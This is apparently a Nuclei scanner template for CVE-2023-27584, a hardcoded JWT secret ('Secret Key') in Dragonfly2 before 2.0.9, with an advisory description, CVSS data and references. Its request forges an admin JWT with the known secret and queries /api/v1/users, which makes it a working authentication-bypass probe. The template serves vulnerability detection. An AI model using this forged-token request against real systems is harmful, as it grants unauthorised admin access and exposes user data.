id: CVE-2023-27584 info: name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret author: iamnoooob,rootxharsh,pdresearch severity: critical description: | Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability. impact: | Unauthenticated attackers can bypass authentication using a hardcoded JWT secret key, allowing them to perform any action with admin privileges including accessing all distributed files and compromising the entire P2P system. remediation: | Upgrade to Dragonfly2 version 2.0.9 or later that uses a properly generated JWT secret key. reference: - https://github.com/advisories/GHSA-hpc8-7wpm-889w - https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9 - https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w - https://nvd.nist.gov/vuln/detail/cve-2023-27584 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-27584 cwe-id: CWE-321 epss-score: 0.33618 epss-percentile: 0.98212 metadata: max-request: 1 verified: true tags: cve,cve2023,dragonfly,exposure,jwt,secret,vuln variables: orig_iat: '{{to_unix_time(unixtime())}}' exp: '{{to_number(orig_iat)+4000 }}' payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}' http: - raw: - | GET /api/v1/users HTTP/1.1 Host: {{Hostname}} Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }} matchers-condition: and matchers: - type: word part: body words: - '"id":' - '"created_at":' - '"updated_at":' - '"state":' condition: and - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 4a0a0047304502202e487014d9ff910f81b3f92d16a6c98812b5046d9cce60e7750b562201c57cd9022100feb014178e996282e8a0d2e394e355b7b1b284429988b3eb1deb29ce7dda2a2a:922c64590222798bb761d5b6d8e72950